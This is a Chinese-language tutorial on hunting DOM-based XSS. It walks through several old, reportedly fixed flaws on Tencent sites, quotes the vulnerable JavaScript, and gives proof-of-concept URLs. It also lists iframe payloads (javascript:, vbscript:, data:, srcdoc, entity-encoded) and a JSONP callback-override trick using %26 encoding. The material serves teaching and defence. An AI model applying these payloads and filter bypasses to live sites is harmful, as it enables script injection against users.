讓我們繼續(xù)尋找DOM XSS,在上一節(jié)里,在地址欄里輸入的內(nèi)容,很容易出現(xiàn)在了源代碼里,然后我們發(fā)現(xiàn)源代碼里是一個DOM 操作,通過js 的Unicode 轉(zhuǎn)義,我們將利用代碼植入到了innerHTML 指向的內(nèi)容中,同時繞過了過濾。
關(guān)于編碼的順序問題,可以參考我之前總結(jié)的一篇文章,比較清晰。
那么,如果我們在源代碼里,定位不到我們在URL 里的參數(shù)呢,其實這并沒有太多不同。只是因為網(wǎng)頁直接通過腳本,通過DOM 操作,修改了或者添加了某些標(biāo)簽,源碼中看不到。但只需要進(jìn)入調(diào)試工具里,就能找到了。
這里拉來一個老漏洞,現(xiàn)已修復(fù):
http://qt.qq.com/video/play_video.htm?sid=aaaaaa
這樣一個地址,我們跑去源代碼里,是不會直接找到輸出的,其實這也是更為常見的情況:
此時我們應(yīng)該去到調(diào)試工具里找,在審查元素里,我們看到了輸出的位置:
按照以往的方法,我們?nèi)匀皇鞘褂贸WR構(gòu)造的方式,去看那些寫法是被過濾的,然后嘗試去構(gòu)造攻擊模式。另一種方法,則是去resources 中,去查看腳本,是那個腳本執(zhí)行了什么操作,讓變量進(jìn)入了標(biāo)簽,了解清楚了之后,可以對癥下藥的創(chuàng)造攻擊向量。
我們直接對sid 這個參數(shù)在resource 中搜索,會找到響應(yīng)的處理函數(shù)。在這里,是一個叫g(shù)etUrlPara 的函數(shù):
進(jìn)一步,定位到該函數(shù)的定義,通過分析該函數(shù),我們能了解腳本在獲得該參數(shù)后的操作,在該函數(shù)里,我們發(fā)現(xiàn),該函數(shù)對 location.href 中的尖括號和引號已經(jīng)進(jìn)行了過濾處理,但實際上,這段代碼實際上是不太正確。
因為在進(jìn)行處理之前,拿到的href 已經(jīng)經(jīng)過了URL 編碼,該函數(shù)不會對任何符號進(jìn)行處理。即使是瀏覽器不做編碼處理,如果我們預(yù)先對它進(jìn)行編碼處理,也會跳過函數(shù)中的過濾。然后讓我們再回到函數(shù)調(diào)用之后的上下文。
var sid=getUrlPara("sid");
if(!sid || sid==""){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">抱歉,視頻不存在!</div>';
}else{
var flash_ver=GetSwfVer();
if(flash_ver == -1){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您還沒有安裝flash插件<br/>請<a target="_blank" >下載</a>10.0以上的flash播放器<br/>安裝flash后,請<a href="javascript:location.reload();">點此刷新</a></div>';
}else if(flash_ver.split('.')[0]<10){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-30px;">抱歉,您的flash版本過低<br/>請<a target="_blank" >下載</a>10.0以上的flash播放器<br/>安裝flash后,請<a href="javascript:location.reload();">點此刷新</a></div>';
}else{
sid=decodeURIComponent(sid).trim().replace(/([\'\"])/g,'\\\\$1');
if(!is_valid_sid(sid)){
document.getElementById("dv_video").innerHTML='<div class="errmsg" style="margin-top:-10px;">無法打開視頻文件,視頻地址不合法!</div>';
}else{
insertFlash("dv_video","f",sid,"100%","100%");
}
}
}
這里,通過decodeURLComponent 將編碼后的參數(shù),又解碼成了原符號,而后邊調(diào)用的insertFlash 操作,未經(jīng)過濾的將sid 寫進(jìn)了頁面:
function insertFlash(elm, eleid, url, w, h) {
if (!document.getElementById(elm)) return;
var str = '';
str += '<object width="' + w + '" height="' + h + '" id="' + eleid + '" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=8,0,0,0">';
str += '<param name="movie" value="' + url + '" />';
str += '<param name="allowScriptAccess" value="never" />';
str += '<param name="allowFullscreen" value="true" />';
str += '<param name="wmode" value="transparent" />';
str += '<param name="quality" value="autohigh" />';
str += '<embed width="' + w + '" height="' + h + '" name="' + eleid + '" src="' + url + '" quality="autohigh" swLiveConnect="always" wmode="transparent" allowScriptAccess="never" allowFullscreen="true" type="application/x-shockwave-flash" pluginspage="http://www.macromedia.com/go/getflashplayer"></embed>';
str += '</object>';
document.getElementById(elm).innerHTML = str
}
我們很容易的想象到了構(gòu)造< img src=# onerror=alert(1)>,對尖括號進(jìn)行URL 編碼就可以了。實際上,就這一個漏洞,我們不僅可以使用URL 編碼的方式。結(jié)合我之前說的瀏覽器的解析順序,在這里,從URL 獲得的參數(shù),進(jìn)入腳本,腳本調(diào)用DOM 操作,修改DOM 樹,所以我們用Unicode編碼也能最后得到解析。
我們始終說,安全編碼是一個不容易的技術(shù),因為一步疏漏就會在最終造成滿盤皆輸。所以,對于開發(fā)者,想要真正構(gòu)建安全的程序,就必須對程序所涉及的技術(shù)框架了如指掌。比如對于Web,應(yīng)該對瀏覽器的原理,HTTP/HTTPS,各種編碼原理,JS&CSS&HTML,PHP&ASP,的安全部分都有一定了解,才能在構(gòu)建程序的時候,抓住最關(guān)鍵的部分,確保不出問題。
深入源碼,邂逅eval和iframe
前邊的分析過程,看起來還是比較淺,不論是直接在源碼中出現(xiàn)的,還是在elements 中出現(xiàn)的,他們都是通過JavaScript 的document.write 或者是 innerHTML 輸出到網(wǎng)頁去了,所以還是可以輕松的在開發(fā)者工具那里看到輸出的位置。但是,如果一部分輸出,最終沒有流向innerHTML 或者是 document.write,就需要安心下來慢慢挖掘了。
騰訊的栗子:
http://kf.qq.com/search_app.shtml?key=aaaaa
跑去源碼和開發(fā)者工具里搜索一通,都沒有搜索到,下面,我們換個思路,進(jìn)入console 中,看能否發(fā)現(xiàn)一些。我們按照往常,在URL 的參數(shù)里,構(gòu)造一些特殊字符,單引號,雙引號,尖括號,斜杠,一般來說,雙引號單引號都會最早被過濾,所以一般斜杠的幾率還大一些。我們構(gòu)建之后,查看結(jié)果返回一個錯誤的信息:
右邊能點開幫助文檔,能看到源文件,那我們進(jìn)源文件好好看看到底哪里出錯了,有沒有機(jī)會繞過。我們定位到代碼的位置,上下文大約如此:
var getarg = function()
{
var url = window.location.href;
var allargs = url.split("?")[1];
if (allargs!=null && allargs.indexOf("=")>0)
{
var args = allargs.split("&");
for(var i=0; i<args.length; i++)
{
var arg = args[i].split("=");
eval('this.'+arg[0]+'="'+arg[1]+'";');
}
}
};
這就是最簡單的從URL 中獲取參數(shù)的代碼,url 是原始的url,allargs 是問號之后的參數(shù)部分,然后通過& 分割的開來,然后對URL 中每一個參數(shù)鍵值對,用一個eval 來執(zhí)行記錄操作,也就是執(zhí)行了eval('this.key'="aaaa";'),eval('this.'+arg[0]+'="'+arg[1]+'";');兩個參數(shù)分別對應(yīng)了等號左右的鍵和值,雖然我們沒有在頁面里看到輸出,但是它實際上還是輸出了。
那么,我們不僅可以對值進(jìn)行替換,還可以對鍵進(jìn)行替換嘗試,我們先替換一下arg[0] 試試:
this.key="aaaa";
this.key;alert(1);//="aaaa";
變成上式那樣的,就可以彈窗了,雙斜杠形成注釋,截掉了后邊的內(nèi)容。測試一下這個URL:
http://kf.qq.com/search_app.shtml?key;alert(1);//=aaaa
彈彈彈,那么后邊的值部分可以不可以呢。
按照慣常思路,使用雙引號閉合,然后加入利用函數(shù):
this.key="aaaa";
this.key="aaaa";alert(1);//";
構(gòu)造出來的URL:
http://kf.qq.com/search_app.shtml?key=aaa";alert(1);//
但是,對于chrome等非IE 瀏覽器,實際上,對于URL 出現(xiàn)的雙引號,會將其進(jìn)行URL 編碼,在HTML 解析的時候,無法完成正常的語法結(jié)構(gòu),也就失效了,不過上述代碼在IE下是有效的。
下面我們再發(fā)現(xiàn)輸出在iframe中的,因為iframe 后邊可以跟src ,有時候為了方便嵌套小框架,會從URL里讀取參數(shù),然后構(gòu)造成地址,輸出在iframe 的src 中,形如:< iframe src="[輸出]">< /iframe>。
但是,對于src 來說,我們可以插入偽URL ,來執(zhí)行JS 代碼,常見的插入在前邊也說過,對于iframe 可以有以下幾種:
- < iframe onload="alert(1)">< /iframe>
- js偽url: < iframe src="javascript:alert(1)">< /iframe>
- IE下的vbscript執(zhí)行代碼: < iframe src="vbscript:msgbox(1)">< /iframe>
- Chrome 下data的協(xié)議執(zhí)行代碼:< iframe src="data:text/html,< script>alert(1)< /script>">< /iframe>
- 如果尖括號被屏蔽,還可以使用HTML 實體編碼:< iframe src="data:text/html,< ;script> ;alert(1)< ;/script> ;">< /iframe>
- 以及Chrome下srcdoc屬性:< iframe srcdoc="< ; script> ;alert(1)< ;/script> ;">< /iframe>
下面繼續(xù)從烏云上的栗子開始學(xué)習(xí):
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=aaaaaa&gid=yl&cid=68&from=
仍然使用最簡單的方式去開發(fā)者工具里找輸出,看到被帶到了iframe 的src 中去:
嘗試用最簡單的方式構(gòu)造一個彈窗:
http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=javascript:alert(1);&gid=yl&cid=68&from=
結(jié)果失效:
看來是被過濾掉了,那么尋找到這個iframe 的處理操作,去找找問題,在js 源碼里,找到了相關(guān)的處理:
function OpenFrame(url) {
if (url.toLowerCase().indexOf('http://') != '-1' || url.toLowerCase().indexOf('https://') != '-1' || url.toLowerCase().indexOf('javascript:') != '-1') return false;
document.getElementById("toolframe").src = url;
}
實際上,他做了最簡單的過濾,僅僅是不允許JavaScript 偽URL,而url 參數(shù),我們尋找turl 參數(shù),源碼中,并沒再做更多操作:
var tool_url = getQueryStringValue("turl");
...
openFrame(tool_url);
那么我們就可以用上邊說的使用VBScript來在IE 下XSS,可以在Chrome 中用date 來構(gòu)造XSS。
IE: http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=vbscript:msgbox(1)'&gid=yl&cid=68&from=
Chrome: http://helper.qq.com/appweb/tools/tool-detail.shtml?turl=data:text/html,<script>alert(1)</script>'&gid=yl&cid=68&from=
p.p1 {margin: 0.0px 0.0px 0.0px 60.0px; text-indent: -19.2px; font: 16.0px Courier; color: #66cccc}p.p2 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #cccccc; min-height: 19.0px}p.p3 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px 'PingFang SC'; color: #cccccc}p.p4 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #999999}p.p5 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #e6424b}p.p6 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #cccccc}p.p7 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #999999; min-height: 19.0px}p.p8 {margin: 0.0px 0.0px 0.0px 60.0px; font: 16.0px Courier; color: #cc99cc}span.s1 {font: 16.0px 'PingFang SC'}span.s2 {font: 16.0px Courier}span.s3 {color: #999999}span.s4 {color: #c33795}span.s5 {color: #233fd0}span.s6 {color: #e6424b}span.s7 {color: #8b86c9}
**# DOM XSS****奧義**** **
一些我們普遍了解的XSS 基本已經(jīng)讓大部分開發(fā)者們警醒,也都做了足夠充分的教訓(xùn),所以想要像以前那樣隨意的挖洞就不可能了,但是XSS 是無窮的,只要能深入源碼,總會有所發(fā)現(xiàn)。
常常程序會動態(tài)加載json 數(shù)據(jù),同域可以用ajax,而不同域時,就需要跨域請求,有一種方法是jsonp,利用callback回調(diào)完成跨域,而在調(diào)用外部數(shù)據(jù)的時候還會帶上一些參數(shù),而如果這些參數(shù)可控,我們就可以試圖去挖掘漏洞。
對于跨域的請求來說,最常見的形式是這樣:
somescript.src="http://otherdomain.com/xx?jsonp=callback"
而為了方便,callback 后邊會帶上一些參數(shù),有一些參數(shù)是用戶可控的,那時候,就會造成困擾了:
somescript.src="http://otherdomain.com/xx?jsonp=callback&id="+id;
如果其中的ID 可控,那就很有可能會帶來問題,這算是一種地址可控,而地址可控分為三種形式:
一種是,完全可控,也就是src 后邊的內(nèi)容可以直接替換掉,這種可以直接利用,替換成我們的JS 地址。
一種是部分可控:
script src="/path/xxx/[路徑可控]/1.js"
這種情況下一般是在同域下尋找一個有漏洞的上傳點,上傳些文件什么的,以便利用。
第三種情況是參數(shù)可控:
script src="/xxxx/json.php?callback=xxxx¶m1=yyy¶m2=[參數(shù)可控]"
經(jīng)過簡單在這個頁面測試,我們可以發(fā)現(xiàn),其中的callback, dtag, ranking 是可控的。不過可控的元素還是會被過濾的,比如常見的尖括號就一定會被過濾。
實際在使用中,訪問這個跨域數(shù)據(jù)的是以下URL:
http://bag.paipai.com/search_list.shtml?type=&callback=alert(1);&np=11&pro=256&searchtype=2&cs=0010000&keyword=&PTAG=20058.13.13
因為dtag,ranking 是放在雙引號里的,過濾了雙引號,基本很難有可以應(yīng)用的地方。而callback 則不是,如果能構(gòu)造一個callback=alert(1) ,就可以執(zhí)行XSS,不過在我們發(fā)現(xiàn)寫在一開始的callback 并不能直接去改變值來控制它,我們可以想辦法通過后邊可控的參數(shù),用&來分隔后再來一個callback=alert(1)來覆蓋前邊的callback。
不過一般來說,如果你在構(gòu)造URL 的時候,如果使用了&,那就會直接認(rèn)為你這是分隔符,這個方法就失效了。而如果我們試圖使用%26 這個URL 編碼來代替,但是它在傳遞的時候,并不會解碼,所以也不會讓服務(wù)器解析的時候才認(rèn)定他是分隔符。
所以,只能去從源碼里找漏洞,我們找到他的search.js腳本,定位到那一塊觀察上下文:
function init() {
var keyword = decodeURIComp($getQuery('keyword')),
type = $getQuery('type'),
searchtype = $getQuery('searchtype');
option.keyword = keyword;
option.classId = type;
option.searchType = searchtype || option.searchType;
option.beginPrice = $getQuery('bp');
option.endPrice = $getQuery('ep');
option.NewProp = $getQuery('np') || $getQuery('newprop');
option.property = $getQuery('pro') || option.property;
option.cid = $getQuery('cid');
option.Paytype = $getQuery('pt') || option.Paytype;
option.hongbaoKeyword = $getQuery('hb');
option.conditionStatus = $getQuery('cs') || option.conditionStatus;
option.showType = $getQuery('show') || option.showType;
option.mode = $getQuery('mode') || option.mode;
option.address = decodeURIComp($getQuery('adr'));
option.orderStyle = $getQuery('os') || option.orderStyle || 80;
option.hideKeyword = $getQuery('hkwd') == "true" ? true: false;
option.ptag.currentPage = $getQuery('ptag') || $getQuery('PTAG');
var pageIndex = $getQuery('pi'),
pageSize = $getQuery('ps');
option.pageIndex = (pageIndex && $isPInt(pageIndex)) ? pageIndex * 1: option.pageIndex;
option.pageSize = (pageSize && $isPInt(pageSize)) ? pageSize * 1: option.pageSize;
};
這里的腳本,就是jason參數(shù)和當(dāng)前頁面獲得參數(shù)的一些關(guān)系,而其中有一個函數(shù)讓我們看到了希望: decodeURLComp,它在傳進(jìn)來的時候,會被解碼一次,有木有想起什么。對于這個keyword,如果我們使用了URL 編碼傳%26進(jìn)去,他會解碼成&,那么我們直接使用%26callback=alert(1),那就可以會被解碼成一個分隔符,然后出發(fā)我們的漏洞。
抓個包,可以看到接收的json 數(shù)據(jù)已經(jīng)得到改變:
彈窗就是自然的了。
其實,這個漏洞已經(jīng)顯得有些運(yùn)氣成分了,也可以說是開發(fā)者在業(yè)務(wù)的邏輯關(guān)系變得復(fù)雜之后,往往就缺乏足夠的安全意識,去處理這些跨域安全問題了,往往在源碼上,會造成一些漏洞。上邊的例子我們也能看到,本身在過濾的邏輯上,已經(jīng)很難尋找漏洞,但是因為開發(fā)者在處理流程的時候,沒有去思考它可能的上下文關(guān)系,也就主動創(chuàng)造了一個漏洞出來。
DOM XSS 的內(nèi)容,大概也就這么多了。在DOM XSS 漏洞的挖掘中,最常用的自動化挖掘方式,其實就是利用爬蟲和抓包重放,爬蟲通過遍歷某網(wǎng)站的各種結(jié)構(gòu)URL,然后抓包重放去構(gòu)造獨(dú)特的字符替換掉URL中那些可控的參數(shù),通過服務(wù)器返回的狀態(tài),和內(nèi)容,去挖掘可能存在的不安全因素。
而挖掘到不安全因素,只是XSS 最早的第一步,現(xiàn)在,那些最常見的漏洞已經(jīng)基本銷聲匿跡,需要的是通過分析源碼,尋找某個點的上下文關(guān)系,通過理清邏輯關(guān)系,尋找開發(fā)者在其中的疏漏,才能創(chuàng)造出合適的XSS。